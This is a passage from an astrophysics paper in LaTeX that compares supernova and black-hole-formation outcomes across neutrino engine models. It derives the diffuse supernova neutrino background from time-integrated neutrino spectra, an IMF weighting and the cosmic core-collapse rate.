Depending on the engine model, we obtained more or less energetic or failed explosions over the range of considered pre-SN stars, as can be seen in Figure~\ref{fig:explodability}. While the S19.8 and N20 calibrations lead to the largest fraction of successful SNe (red), W20 is a rather weak engine, resulting in the largest fraction of BH-forming cases (black). W18 and W15 reside between these two extremes, as can also be seen in Table~\ref{tab:explodability}, which shows the IMF-weighted fractions of successful and failed explosions for the different neutrino engines. The outcome in the low-mass range (9--12\,\ensuremath{\mathrm{M}_\sun}) is the same for all five cases, since our interpolation towards z9.6 is independent of the high-mass calibration. The non-monotonic pattern of successful SNe and BH-forming collapses in Figure~\ref{fig:explodability} was described in previous works \citep{2012ApJ...757...69U, 2015ApJ...801...90P, 2016ApJ...818..124E, 2016MNRAS.460..742M, 2016ApJ...821...38S, 2019ApJ...870....1E}. It grounds on the progenitor structure, which is strongly varying with ZAMS mass \citep{2011ApJ...730...70O, 2014MNRAS.445L..99H, 2015PASJ...67..107N, 2018ApJ...860...93S}.
\begin{deluxetable}{lCC}[t!]
\tablecaption{Fractions of successful and failed SNe.\label{tab:explodability}}
\tablehead{
\colhead{Engine Model} & \colhead{Successful SNe} & \colhead{Failed SNe}
}
\startdata
Z9.6\,\&\,S19.8 & 82.2\% & 17.8\%\\
Z9.6\,\&\,N20 & 77.2\% & 22.8\%\\
Z9.6\,\&\,W18 & 73.1\% & 26.9\%\\
Z9.6\,\&\,W15 & 70.9\% & 29.1\%\\
Z9.6\,\&\,W20 & 58.3\% & 41.7\%
\enddata
\tablecomments{NS and BH predictions from our five engine models were IMF weighted according to Equation~\eqref{eq:IMF}.}
\end{deluxetable}
Compared to the simulations of \citet{2016ApJ...818..124E} and \citet{2016ApJ...821...38S}, the neutrino transport outside of the PNS core, which is treated by a gray approximation \citep{2006A&A...457..963S, 2007A&A...467.1227A}, was slightly improved such that we were able to follow cases of long-lasting mass accretion until late collapse to a BH. For numerical reasons, the neutrino-nucleon scattering rate \citep[equation~(D.68) of][]{2006A&A...457..963S} is now split into two separate source terms, one for absorption ($\propto \langle \epsilon_{\nu}^4 \rangle$, with $\epsilon_{\nu}$ denoting the neutrino energy) and one for emission ($\propto T \langle \epsilon_{\nu}^3 \rangle$), to avoid sign fluctuations for large temperatures $T$ (for details, see appendix~B of \citealt{2020MNRAS.496.2039S}). Furthermore, an adaptive grid was implemented to better resolve the steep density gradient at the PNS surface. Our new code was applied without recalibrating the core models, which led to slightly increased explosion energies because of decreased neutrino luminosities compared to the models reported by \citet{2016ApJ...821...38S}. Accordingly, a few scattered progenitors which failed to explode with the old code \citep[cf.][figure~13]{2016ApJ...821...38S} yield successful SNe with our new treatment. (A detailed report of the code changes and consequences for the model results is provided in the appendices of \citealt{2020ApJ...890...51E}.) In the work at hand, we moreover neglect the neutrino emission from the late-time fallback in so-called fallback SNe, in which the fallback matter pushes the NS beyond the BH limit after a successful explosion was initiated. This is justified because such cases turned out to be rare in the considered set of solar-metallicity progenitors \citep{2016ApJ...818..124E, 2016ApJ...821...38S} and additionally reside in the IMF-suppressed high-mass regime. In the context of our paper we therefore consider fallback SNe as successful SN events with the corresponding neutrino emission from NS formation. BH-forming events are only those cases where the BH does not form by fallback but by continuous accretion, and we use the terms ``BH formation'' and ``failed SN'' equivalently.
\subsection{Neutrino Signals}\label{subsec:neutrino_signals}
\begin{figure*}
\includegraphics[width=\textwidth]{fig2}
\caption{Landscape of SN and BH-formation cases for the combined progenitor sets of WH15, SW14, and WH07, simulated with the neutrino engine model of Z9.6\,\&\,W18. From top to bottom: time of explosion or BH formation, total energy radiated in all species of neutrinos, and mean energy of electron antineutrinos versus ZAMS mass of the progenitors. Note the logarithmic scale in the top panel. Red bars indicate successful SN explosions and fallback SNe, while the outcomes of BH-forming, failed SNe are shown for our different cases of baryonic NS mass limits in gray ($\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$), dark blue ($\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$), light blue ($\unit{3.1}{\ensuremath{\mathrm{M}_\sun}}$), and cyan ($\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$). The outcome of the ECSN by \citet{2010PhRvL.104y1101H} is not shown in the figure, but discussed in the main text.\\
\label{fig:neutrino_outcomesystematics}}
\end{figure*}
For each progenitor, we obtain the total energy release in neutrinos through time integration of the time-dependent neutrino luminosities, $L_{\ensuremath{\nu_{i}}}(t)$, and the mean values of the energies of the radiated neutrinos by computing the (luminosity-weighted) time average of the time-dependent mean neutrino energies, $\langle E_{\ensuremath{\nu_{i}}}(t) \rangle$, for all three considered neutrino species $\ensuremath{\nu_{i}} = \ensuremath{\nu_{e}}, \ensuremath{\bar{\nu}_{e}}, \ensuremath{\nu_{x}}$, where $\ensuremath{\nu_{x}}$ denotes a representative heavy-lepton neutrino ($\nu_{\mu}, \bar{\nu}_{\mu}, \nu_{\tau}, \bar{\nu}_{\tau}$). Successful SNe were simulated up to a post-bounce time of $t\,\mathord{=}\,\unit{15}{s}$, when the neutrino luminosities from PNS cooling have already declined to an insignificant level (see Appendix~\ref{appendix:extrapolation}). In the cases of failed explosions, however, the continued accretion of infalling mass onto the PNS releases gravitational binding energy, leading to an ongoing accretion component of the neutrino luminosities. The signals of such cases are truncated only when the PNS is pushed beyond the (still unknown) limit of BH formation, for which we consider four different values of the baryonic mass, \ensuremath{M_\mathrm{NS,b}^\mathrm{lim}}, namely 2.3, 2.7, 3.1, and 3.5\,\ensuremath{\mathrm{M}_\sun}, which are motivated as follows.
Assuming a NS radius of $\unit{(11\pm1)}{km}$ for maximum-mass NSs,\footnote{\label{fn:R_NS}This range is motivated by recent publications, constraining the NS radius from observations of the binary NS merger event GW170817 \citep{2017ApJ...850L..34B, 2017ApJ...848L..18N, 2018ApJ...857L..23R, 2018PhRvL.121p1101A, 2020NatAs...4..625C}, as well as by the studies of \citet{2010ApJ...722...33S}, \citet{2016ApJ...820...28O}, \citet{2016ARA&A..54..401O}, and \citet{2016PhR...621..127L}. For NSs at the upper mass end, we consider (circumferential) radii of $\unit{10}{km}\,\mathord{\leqslant}\,R_\mathrm{NS}\,\mathord{\leqslant}\,\unit{12}{km}$, while we assume $R_\mathrm{NS}\,\mathord{\geqslant}\,\unit{11}{km}$ in Appendix~\ref{appendix:total_energies} for ``average-mass'' NSs, as suggested by \citet{2017ApJ...850L..34B}, and also compatible with recent results by NICER \citep{2019ApJ...887L..24M}.} and utilizing equation~(36) of \citet{2001ApJ...550..426L}, which we provide as Equation~\eqref{eq:LattimerPrakash} in Appendix~\ref{appendix:total_energies}, a baryonic NS mass of $\unit{2.3}{\ensuremath{\mathrm{M}_\sun}}$ converts to a gravitating mass of $\unit{1.95^{+0.02}_{-0.03}}{\ensuremath{\mathrm{M}_\sun}}$. This is marginally below the largest currently measured pulsar masses of $\sim$2\,\ensuremath{\mathrm{M}_\sun}\ \citep{2010Natur.467.1081D, 2013Sci...340..448A, 2016ARA&A..54..401O, 2020NatAs...4...72C}, setting a lower limit for the maximum NS mass.
From the first gravitational-wave observation of a binary NS merger \citep[GW170817;][]{2017PhRvL.119p1101A} and its electromagnetic counterparts \citep{2017ApJ...848L..12A}, \citet{2017ApJ...850L..19M} placed a tentative upper bound on the maximum gravitational NS mass of $\unit{2.17}{\ensuremath{\mathrm{M}_\sun}}$ (at 90\% confidence level), which follows from their reasoning that the merger remnant was a relatively short-lived, differentially-rotating hyper-massive NS, disfavoring both the prompt collapse to a BH as well as the formation of a long-lived, supermassive NS. Their mass limit is compatible with other recent publications \citep[e.g.,][]{2017PhRvD..96l3012S, 2018MNRAS.478.1377A, 2018ApJ...852L..25R, 2018PhRvD..97b1501R, 2019EPJA...55..209L, 2020PhRvD.101f3007E}. Consistently, we take our case of a baryonic mass of $\unit{2.7}{\ensuremath{\mathrm{M}_\sun}}$ (corresponding to $\unit{2.23^{+0.03}_{-0.04}}{\ensuremath{\mathrm{M}_\sun}}$ gravitational mass), which is close to this bound, as our reference threshold for BH formation.
Nonetheless, \citet{2017ApJ...850L..19M} pointed out several uncertainties related to their analysis. For instance, they neglected the effects of thermal pressure support on the stability of the compact merger remnant, which may change their conclusions.\footnote{In fact, two competing effects play a role and can dominate under different circumstances: destabilization because of an enhanced gravitational potential due to additional thermal energy, or stabilization due to increased support by thermal pressure \citep[see, e.g.,][]{1995A&A...296..145K, 2011ApJ...730...70O, 2013ApJ...774...17S, 2020ApJ...894....4D}.} Thermal effects are also important for the stability of hot PNSs on their way towards BH formation in the cases of failed SNe, possibly increasing the limiting mass compared to the value for cold NSs \citep{2011ApJ...730...70O, 2013ApJ...774...17S, 2020ApJ...894....4D}. For these reasons, we additionally explore two more extreme cases for the baryonic (gravitational) mass limit, namely $\unit{3.1}{\ensuremath{\mathrm{M}_\sun}}$ ($\unit{2.50^{+0.04}_{-0.05}}{\ensuremath{\mathrm{M}_\sun}}$) and $\unit{3.5}{\ensuremath{\mathrm{M}_\sun}}$ ($\unit{2.75^{+0.05}_{-0.05}}{\ensuremath{\mathrm{M}_\sun}}$). Eventually, further pulsar timing measurements \citep[cf.][]{2010Natur.467.1081D, 2013Sci...340..448A, 2016ARA&A..54..401O, 2020NatAs...4...72C} as well as an increased number of observed binary-NS mergers \citep[see, e.g.,][]{2010CQGra..27q3001A} should be able to shed more light on the maximum mass of NSs.
The most important results of the SN and BH-formation simulations to be used in our DSNB calculations are the values of the time-integrated total energy release in neutrinos of all species and the time-averaged mean energies of the emitted electron antineutrinos. Figure~\ref{fig:neutrino_outcomesystematics} provides an overview of the corresponding values over the entire range of iron-core progenitors as a function of ZAMS mass for the exemplary case of the Z9.6\,\&\,W18 engine model, whose results will serve as a reference point in our later discussion (see Section~\ref{sec:fiducial_model}). The three sets of pre-SN stars, WH15, SW14, and WH07, are separated by black vertical lines. Red bars indicate successful explosions and fallback SNe, whereas the outcomes of failed SNe are marked by gray, dark blue, light blue, or cyan, depending on the different choices of the critical baryonic mass for BH formation.
The upper panel shows the explosion time, $t_\mathrm{exp}$, for successful SNe, defined as the time when the shock passes $\unit{500}{km}$ (and not to be confused with the termination of our successful SN simulations and neutrino-signal calculations at $\unit{15}{s}$, which was mentioned above). In cases of failed explosions, the time of BH formation, $t_\mathrm{BH}$, is shown, which coincides with a sudden termination of the neutrino signal. Depending on the assumed NS mass limit and the progenitor-dependent mass-accretion rate, these times range from below $\unit{1}{s}$ up to $\unit{100}{s}$ in the most extreme cases (note the logarithmic scale).\footnote{\label{fn:compactness}Using general-relativistic simulations in spherical symmetry, \citet{2011ApJ...730...70O} found a functional dependence of the time to BH formation on the progenitor structure, to first order compliant with a simple power-law scaling, $t_\mathrm{BH} \propto (\xi_{2.5})^{-3/2}$, where $\xi_{2.5}$ denotes the progenitor compactness parameter at bounce for an enclosed mass of $\unit{2.5}{\ensuremath{\mathrm{M}_\sun}}$, as defined by their equation~(10). Less compact progenitors of failed SNe, e.g., in the ZAMS mass range around $\unit{15}{\ensuremath{\mathrm{M}_\sun}}$ \citep[see figure~4 of][]{2016ApJ...818..124E}, with lower densities in the mass shells surrounding the PNS, need longer accretion times until BH formation, in contrast to the fast-accreting high-compactness progenitors at around $\unit{22-25}{\ensuremath{\mathrm{M}_\sun}}$ and $\sim$$\unit{40}{\ensuremath{\mathrm{M}_\sun}}$.} This illustrates the need for a large set of long-time simulations to properly sample the neutrino contribution from the BH-formation events.
The middle panel of Figure~\ref{fig:neutrino_outcomesystematics} displays the total radiated neutrino energies, \ensuremath{E_{\nu}^\mathrm{tot}}, computed as the time-integrals of the summed-up neutrino luminosities of all species, $\ensuremath{L_\mathrm{tot}}(t)\,\mathord{=}\,L_{\ensuremath{\nu_{e}}}(t)\,\mathord{+}\,L_{\ensuremath{\bar{\nu}_{e}}}(t)\,\mathord{+}\,4 L_{\ensuremath{\nu_{x}}}(t)$, from core bounce ($t\,\mathord{=}\,0$) until the end of the simulations ($t\,\mathord{=}\,\unit{15}{s}$) or the termination of the signals ($t\,\mathord{=}\,t_\mathrm{BH}$) for SN or BH-formation cases, respectively. Due to the afore-mentioned numerical improvements in the neutrino transport, these energies are slightly lower than those in \citet{2016ApJ...818..124E} and \citet{2016ApJ...821...38S}. In Appendix~\ref{appendix:total_energies}, we cross-check the values of \ensuremath{E_{\nu}^\mathrm{tot}}\ by comparing them to the available budget of gravitational binding energy released during the cooling of the PNS, as estimated by using an analytic, radius-dependent approximate fit-formula from \citet{2001ApJ...550..426L}. We find good overall agreement, although our values might overestimate the neutrino energy loss by up to about 10--20\%, depending on the NS radius. In Section~\ref{sec:uncertainties}, we will discuss this and other uncertainties related to our DSNB predictions in more detail. In our work, we neglect contributions to the neutrino loss from fallback of matter after the successful launch of an explosion, since the amount of fallback was shown to be small (typically below $\unit{10^{-2}}{\ensuremath{\mathrm{M}_\sun}}$) for most progenitors \citep{2016ApJ...818..124E, 2016ApJ...821...38S} and since our values for the release of NS binding energy in neutrinos are on the high side anyway. In addition, fallback SNe with substantial late-time fallback (possibly turning NSs to BHs) are rare, as noted above.
The mean neutrino energies of the time-integrated energy emission are displayed in the bottom panel of Figure~\ref{fig:neutrino_outcomesystematics} for electron antineutrinos, which are most relevant for our study. Values around $\unit{15}{MeV}$ are the rather uniform outcome of successful SNe, in agreement with other publications \citep[e.g.,][]{2016NCimR..39....1M, 2018MNRAS.475.1363H}. The mean energies from failed explosions, on the other hand, vary considerably between the progenitors and depend strongly on the NS mass limit. On the way to BH formation, the temperatures in the PNS's accretion mantle rise gradually, yielding increasingly harder neutrino spectra \citep[see, e.g.,][]{2006PhRvL..97i1101S, 2007ApJ...667..382S, 2008ApJ...688.1176S, 2009A&A...499....1F, Huedepohl:2014, 2016NCimR..39....1M}.
In a few cases, we needed to extrapolate our neutrino signals, either because the simulations could not be carried out to sufficiently late times or due to numerical problems, albeit such problems occurred only after $\sim$$\unit{10}{s}$ (see Appendix~\ref{appendix:extrapolation} and Figure~\ref{fig:extrapolation} there). Furthermore, we should point out that the luminosities of heavy-lepton neutrinos are underestimated compared to \ensuremath{\nu_{e}}\ and \ensuremath{\bar{\nu}_{e}}\ in our simulations. This is a consequence of our approximate treatment of the microphysics (e.g., nucleon-nucleon bremsstrahlung is not included) and of the relatively modest contraction of the inner grid boundary and thus underestimated temperatures in the accretion layer. To cure this shortcoming compared to more sophisticated transport calculations, we use information from such calculations with the \textsc{Prometheus-Vertex} code \citep{2002A&A...396..361R, 2006A&A...447.1049B}, which employs a state-of-the-art treatment of neutrino transport based on a Boltzmann-moment-closure scheme and a mixing-length treatment of PNS convection, to rescale the integrated energy loss in the different neutrino flavors, as detailed in Appendix~\ref{appendix:rescaling}.
The neutrino signal of ECSNe from \citet[``model Sf'']{2010PhRvL.104y1101H} was followed for $\unit{8.9}{s}$ after core bounce and yields a total radiated neutrino energy of $\unit{1.63\times10^{53}}{erg}$, with a time-integrated \ensuremath{\bar{\nu}_{e}}\ mean energy of $\unit{11.6}{MeV}$. These results are not shown in Figure~\ref{fig:neutrino_outcomesystematics}, yet we use them for our DSNB estimates, which we describe in the next section.
\section{Formulation of the DSNB} \label{sec:DSNB_formulation}
The differential number flux, $\mathrm{d}\Phi(E)/\mathrm{d} E$, of DSNB neutrinos or antineutrinos, isotropically flooding the Earth in the energy interval $[E, E\,\mathord{+}\,\mathrm{d} E]$, is computed as the line-of-sight integral of the IMF-weighted neutrino spectrum of past core-collapse events ($\mathrm{d} N_\mathrm{CC}/\mathrm{d} E'$; see Sections~\ref{subsec:spectra} and \ref{subsec:IMF}) multiplied by the comoving core-collapse rate density ($R_\mathrm{CC}(z)$; see Section~\ref{subsec:CC_rate}) over the cosmic history \citep[e.g.,][]{2010ARNPS..60..439B}:
\begin{equation}\label{eq:DSNB_general}
\frac{\mathrm{d}\Phi}{\mathrm{d} E} = c \int \frac{\mathrm{d} N_{\mathrm{CC}}}{\mathrm{d} E'} \frac{\mathrm{d} E'}{\mathrm{d} E} R_\mathrm{CC}(z) \left|\frac{\mathrm{d} t_\mathrm{c}}{\mathrm{d} z}\right| \mathrm{d} z~,
\end{equation}
where $c$ is the speed of light,\footnote{Due to their small masses \citep[$\lesssim$\,1eV;][]{2019PhRvL.123v1802A}, neutrinos can be approximated to propagate with the speed of light.} $E'\,\mathord{=}\,(1+z)E$ denotes the energy at the time of emission from sources at redshift~$z$, and the term $|\mathrm{d} t_\mathrm{c}/\mathrm{d} z|$ accounts for the assumed cosmological model, which relates $z$ to the cosmic time $t_\mathrm{c}$ (see Section~\ref{subsec:cosmology}).
\subsection{Time-integrated Neutrino Spectra}\label{subsec:spectra}
For each progenitor, we compute the differential number spectrum $\mathrm{d}\mathcal{N}(t)/\mathrm{d} E$ (in units of $\mathrm{MeV^{-1}s^{-1}}$) as a function of time $t$ after core-bounce from the time-dependent luminosity, $L(t)\,\mathord{=}\,L_{\ensuremath{\nu_{i}}}(t)$, and mean energy, $\langle E(t) \rangle\,\mathord{=}\,\langle E_{\ensuremath{\nu_{i}}}(t) \rangle$, for all neutrino species ($\ensuremath{\nu_{i}} = \ensuremath{\nu_{e}}, \ensuremath{\bar{\nu}_{e}}, \ensuremath{\nu_{x}}$):
\begin{equation} \label{eq:temp_spec}
\frac{\mathrm{d}\mathcal{N}(t)}{\mathrm{d} E} = \frac{L(t)}{\langle E(t) \rangle} \frac{f_\alpha(E)}{\int_{0}^{\infty}\mathrm{d} E f_\alpha(E)}~,
\end{equation}
where we assume a spectral shape $f_\alpha(E)$ according to \citet{2003ApJ...590..971K},
\begin{equation} \label{eq:spectral_shape}
f_\alpha (E) = \left(\frac{E}{\langle E(t) \rangle}\right)^\alpha \mathrm{e}^{-(\alpha+1)E/\langle E(t)\rangle}~.
\end{equation}
In our models, the shape parameter $\alpha$ of the spectrum is assumed to be constant over time.\footnote{$\alpha\,\mathord{\approx}\,2.3$ corresponds to a Fermi-Dirac distribution with vanishing degeneracy parameter, $\alpha\,\mathord{>}\,2.3$ to a pinched, and $\alpha\,\mathord{<}\,2.3$ to an anti-pinched spectrum; $\alpha\,\mathord{=}\,2.0$ gives the Maxwell-Boltzmann distribution.} Although this is a simplification, sophisticated simulations show that $\alpha$ does not change dramatically with time \citep[e.g.,][]{2012PhRvD..86l5031T, 2016NCimR..39....1M}, justifying this approximation. Instead, we vary $\alpha$ as a free parameter over a range of values ($1\,\mathord{\leqslant}\,\alpha\,\mathord{\leqslant}\,4$), which we motivate in Appendix~\ref{appendix:spectra}.
For each progenitor and neutrino species, we then perform a time-integration over the period of emission, from core bounce at $t\,\mathord{=}\,0$ to a final time of $t\,\mathord{=}\,t_\mathrm{f}$ (with $t_\mathrm{f}\,\mathord{=}\,\unit{15}{s}$ for successful explosions and $t_\mathrm{f}\,\mathord{=}\,t_\mathrm{BH}$ for failed SNe):
\begin{equation} \label{eq:time-integr_spec}
\frac{\mathrm{d} N}{\mathrm{d} E} = \frac{\tilde{\xi}}{\xi} \int_{0}^{t_\mathrm{f}}\mathrm{d} t \:\frac{\mathrm{d}\mathcal{N}(t)}{\mathrm{d} E}~.
\end{equation}
Because the luminosities of heavy-lepton neutrinos \ensuremath{\nu_{x}}\ are very approximate in our sets of simulations due to the incomplete microphysics and the relatively moderate core contraction mentioned in Section~\ref{sec:simulation_setup}, we rescale each time-integrated spectrum with a factor $\tilde{\xi}/\xi$ (see Appendix~\ref{appendix:rescaling} for the details). By this procedure we adopt the total radiated neutrino energy (\ensuremath{E_{\nu}^\mathrm{tot}}) from the simulated core-collapse models, but redistribute them between the different neutrino species with weight factors obtained from SN and BH-formation models with sophisticated neutrino treatment (see Table~\ref{tab:flavor_ratios}). $\tilde{\xi}\,\mathord{=}\,\tilde{\xi}_{\ensuremath{\nu_{i}}}\,\mathord{=}\,(\ensuremath{E_{\nui}^\mathrm{tot}} / \ensuremath{E_{\nu}^\mathrm{tot}})^\mathrm{new}$ thus constitutes the fraction of the total energy emitted in neutrino species $\ensuremath{\nu_{i}}$. Correspondingly, $\xi\,\mathord{=}\,\xi_{\ensuremath{\nu_{i}}}\,\mathord{=}\,(\ensuremath{E_{\nui}^\mathrm{tot}} / \ensuremath{E_{\nu}^\mathrm{tot}})^\mathrm{old}$ stands for the relative energy as originally computed in the core-collapse models considered in our study.
In Appendix~\ref{appendix:spectra}, we compare the shapes of our time-integrated spectra with results from sophisticated simulations (with detailed microphysics) by a few exemplary cases to examine the viability of our approximate treatment. We find good agreement with these simulations for values of the instantaneous shape parameter $\alpha$ of $\sim$3 to 3.5 for successful explosions and of $\sim$2 for failed SNe. In Appendix~\ref{appendix:spectral_parameters}, we provide, for a set of representative successful and failed SN models, the total radiated neutrino energies, the mean neutrino energies, and the spectral-shape parameters of the time-integrated neutrino (\ensuremath{\bar{\nu}_{e}}, \ensuremath{\nu_{e}}, and \ensuremath{\nu_{x}}) spectra.
As mentioned in Section~\ref{sec:simulation_setup}, our DSNB flux calculations also include the neutrino signal of the $\unit{8.8}{\ensuremath{\mathrm{M}_\sun}}$-ECSN simulated by \citet{2010PhRvL.104y1101H}. The corresponding time-integrated spectra are computed according to Equations~\eqref{eq:temp_spec}--\eqref{eq:time-integr_spec}, but with time-dependent shape parameters $\alpha\,\mathord{=}\,\alpha(t)$ as given by the simulation. We use the neutrino data of ``model Sf'', which takes into account the full set of neutrino interactions listed in appendix A of \citet{2006A&A...447.1049B}, including nucleon-nucleon bremsstrahlung, inelastic neutrino-nucleon scattering, and neutrino-pair conversions between different flavors, making rescaling of the spectra unnecessary, i.e., $\tilde{\xi}/\xi\,\mathord{=}\,1$ for all flavors.
\subsection{IMF-weighted Average}\label{subsec:IMF}
The relative number of the pre-SN stars depends on their birth masses. For our DSNB flux predictions, the time-integrated neutrino spectra $\mathrm{d} N/\mathrm{d} E$ for each core-collapse case therefore need to be weighted by an IMF (providing the number of stars formed per unit of mass as function of the stellar ZAMS mass $M$). As in \citet{2006ApJ...651..142H}, \citet{2011ApJ...738..154H} and \citet{2014ApJ...790..115M}, we apply the modified Salpeter-A IMF of \citet{2003ApJ...593..258B},
\begin{equation}\label{eq:IMF}
\phi(M) \propto M^{-\zeta}~,
\end{equation}
with $\zeta = 2.35$ for birth masses $M \geqslant \unit{0.5}{\ensuremath{\mathrm{M}_\sun}}$ and $\zeta = 1.5$ for $\unit{0.1}{\ensuremath{\mathrm{M}_\sun}} \leqslant M < \unit{0.5}{\ensuremath{\mathrm{M}_\sun}}$. In our study, we consider masses up to $\unit{125}{\ensuremath{\mathrm{M}_\sun}}$. However, due to the steep decline of Equation~\eqref{eq:IMF}, the high-mass end is suppressed and thus of minor relevance for the DSNB.
The IMF-weighted neutrino spectrum $\mathrm{d} N_{\mathrm{CC}}/\mathrm{d} E$ of all core-collapse events can then be calculated as sum over mass intervals $\Delta M_i$ associated with our discrete set of progenitors stars according to:
\begin{equation}\label{eq:IMF_average}
\frac{\mathrm{d} N_{\mathrm{CC}}}{\mathrm{d} E} = \sum_{i} \frac{\int_{\Delta M_i}\mathrm{d} M\phi(M)}{\int_{\unit{8.7}{\ensuremath{\mathrm{M}_\sun}}}^{\unit{125}{\ensuremath{\mathrm{M}_\sun}}}\mathrm{d} M\phi(M)}\frac{\mathrm{d} N_i}{\mathrm{d} E}~,
\end{equation}
where $\Delta M_i$ denotes the mass interval around ZAMS mass $M_i$ with the time-integrated spectrum $\mathrm{d} N_i/\mathrm{d} E$ of the corresponding SN, failed-SN, or ECSN simulation.\footnote{We apply $\Delta M_i = [(M_{i-1}+M_i)/2,(M_i+M_{i+1})/2]$ for ZAMS masses $\unit{9.0}{\ensuremath{\mathrm{M}_\sun}} < M_i < \unit{120}{\ensuremath{\mathrm{M}_\sun}}$, $\Delta M_i = [\unit{9.0}{\ensuremath{\mathrm{M}_\sun}},\unit{9.125}{\ensuremath{\mathrm{M}_\sun}}]$ for the low-mass end ($M_i = \unit{9.0}{\ensuremath{\mathrm{M}_\sun}}$) and $\Delta M_i = [\unit{110}{\ensuremath{\mathrm{M}_\sun}},\unit{125}{\ensuremath{\mathrm{M}_\sun}}]$ for the high-mass end ($M_i = \unit{120}{\ensuremath{\mathrm{M}_\sun}}$) of our iron-core SN/failed-SN grid. For the $\unit{8.8}{\ensuremath{\mathrm{M}_\sun}}$-ECSN, we use $\Delta M_i = [\unit{8.7}{\ensuremath{\mathrm{M}_\sun}},\unit{9.0}{\ensuremath{\mathrm{M}_\sun}}]$ as relevant range (see Section~\ref{subsec:pre-SN_models}).} Equation~\eqref{eq:IMF_average} is applied separately to the different neutrino species. As in Section~\ref{subsec:spectra}, the indices \ensuremath{\nu_{e}}, \ensuremath{\bar{\nu}_{e}}, and \ensuremath{\nu_{x}}\ are omitted here for the sake of clarity. In the following, we primarily focus on $\ensuremath{\bar{\nu}_{e}}$, since the prospects for a first detection of the DSNB in upcoming detectors are the best for this species \citep[see, e.g.,][]{2004PhRvL..93q1101B, 2006PhRvC..74a5803Y, 2009PhRvD..79h3013H, 2016JPhG...43c0401A}.
\subsection{Cosmic Core-collapse Rate}\label{subsec:CC_rate}
Nuclear burning proceeds fast in massive stars. As a consequence, the progenitors of core-collapse SNe (and failed SNe) have relatively ``short'' ($<$10$^8$\,yr) lives compared to cosmic time scales \citep[cf.][]{1998ARA&A..36..189K}. Therefore, the assumption is well justified that the cosmic core-collapse rate density $R_\mathrm{CC}(z)$ as a function of redshift equals the birth rate density of stars in the relevant ZAMS mass range ($\unit{8.7}{\ensuremath{\mathrm{M}_\sun}}\,\mathord{\leqslant}\,M\,\mathord{\leqslant}\,\unit{125}{\ensuremath{\mathrm{M}_\sun}}$), i.e.,
\begin{equation}\label{eq:R_CC}
R_\mathrm{CC}(z) = \psi_\ast(z) \frac{\int_{\unit{8.7}{\ensuremath{\mathrm{M}_\sun}}}^{\unit{125}{\ensuremath{\mathrm{M}_\sun}}}\mathrm{d} M\phi(M)}{\int_{\unit{0.1}{\ensuremath{\mathrm{M}_\sun}}}^{\unit{125}{\ensuremath{\mathrm{M}_\sun}}}\mathrm{d} M M\phi(M)} \simeq \frac{\psi_\ast(z)}{\unit{116}{\ensuremath{\mathrm{M}_\sun}}}\:.
\end{equation}
Here, $\psi_\ast(z)$ describes the cosmic star-formation history (SFH) in terms of the star-formation rate in units of $\mathrm{\ensuremath{\mathrm{M}_\sun} Mpc^{-3}yr^{-1}}$, which can be deduced from observations \citep[e.g.,][]{2006ApJ...651..142H, 2008ApJS..175...48R, 2010ApJ...718.1171R} and is thus independent of cosmological assumptions. In our study, we adopt the parametrized description by \citet{2008ApJ...683L...5Y},
\begin{equation}\label{eq:SFH}
\psi_\ast(z) = \dot{\rho}_{0}\left[(1+z)^{\alpha\eta}+\left(\frac{1+z}{B}\right)^{\!\beta\eta}+\left(\frac{1+z}{C}\right)^{\!\gamma\eta}\right]^{\frac{1}{\eta}},
\end{equation}
with the best-fit parameters from \citet{2014ApJ...790..115M}, see table~1 therein. Note that the derivation of a SFH $\psi_\ast(z)$ from observational data requires the use of an IMF, which should be consistent with the one employed in Equation~\eqref{eq:R_CC}. For this reason we use the Salpeter-A IMF \citep{2003ApJ...593..258B} to be consistent with the SFH data sample compiled by \citet{2014ApJ...790..115M}, which is based on the data sets by \citet{2006ApJ...651..142H} and \cite{2011ApJ...738..154H}.\footnote{We point out that \citet{2014ApJ...790..115M} used an equality relation (instead of a proportionality) for Equation~\eqref{eq:IMF}, which leads to a discontinuous behavior at $M\,\mathord{=}\,\unit{0.5}{\ensuremath{\mathrm{M}_\sun}}$. This seems to be in conflict with the (continuous) IMF employed in the compilations of star-formation-rate data by \citet{2006ApJ...651..142H} and \citet{2011ApJ...738..154H}, which served as a basis for the study of \citet{2014ApJ...790..115M}. For this reason, we construct a continuous IMF by properly choosing the normalization coefficients in the two mass intervals described by Equation~\eqref{eq:IMF}.}
Even though the cosmic core-collapse rate is not yet known to good accuracy (its impact on the DSNB flux is discussed, e.g., by \citealt{2010PhRvD..81h3001L}), our work is focused on variations of the neutrino source properties. To still account for the large uncertainty of \ensuremath{R_\mathrm{CC}}, we additionally employ the $\pm1\sigma$ upper and lower limits to the SFH of \citet{2014ApJ...790..115M}, such that we obtain $\ensuremath{R_\mathrm{CC}}(0)$\,= $\unit{8.93^{+8.24}_{-3.01} \times 10^{-5}}{Mpc^{-3}yr^{-1}}$ for the local universe. In Section~\ref{sec:fiducial_model}, we further test parametrizations of the SFH by \citet{2014MadauDickinson} and the \citet{2018Sci...362.1031F}. The cosmic metallicity evolution and its impact on the DSNB will be discussed briefly in Section~\ref{subsec:remaining_uncertainties}.
For our DSNB calculations, we consider contributions up to a maximum redshift of $z_\mathrm{max}\,\mathord{=}\,5$. This limit is justified because, as pointed out in numerous previous works \citep{2004ApJ...607...20A, 2012PhRvD..85d3011K, 2014ApJ...790..115M, 2015ApJ...804...75N, 2016APh....79...49L}, only sources at lower redshifts ($z\,\mathord{\lesssim}\,1\,\mathord{-}\,2$) noticeably add to the high-energy part of the DSNB, which is most relevant for the detection (cf. Figure~\ref{fig:dsnb_contributions}). Neutrinos from higher $z$ are almost entirely shifted to energies below $\unit{10}{MeV}$, where background sources dominate the flux and thus prevent a clear identification of the DSNB signal \citep[see, e.g.,][]{2016APh....79...49L}.
\begin{figure*}[ht!]
\includegraphics[width=\textwidth]{fig3}
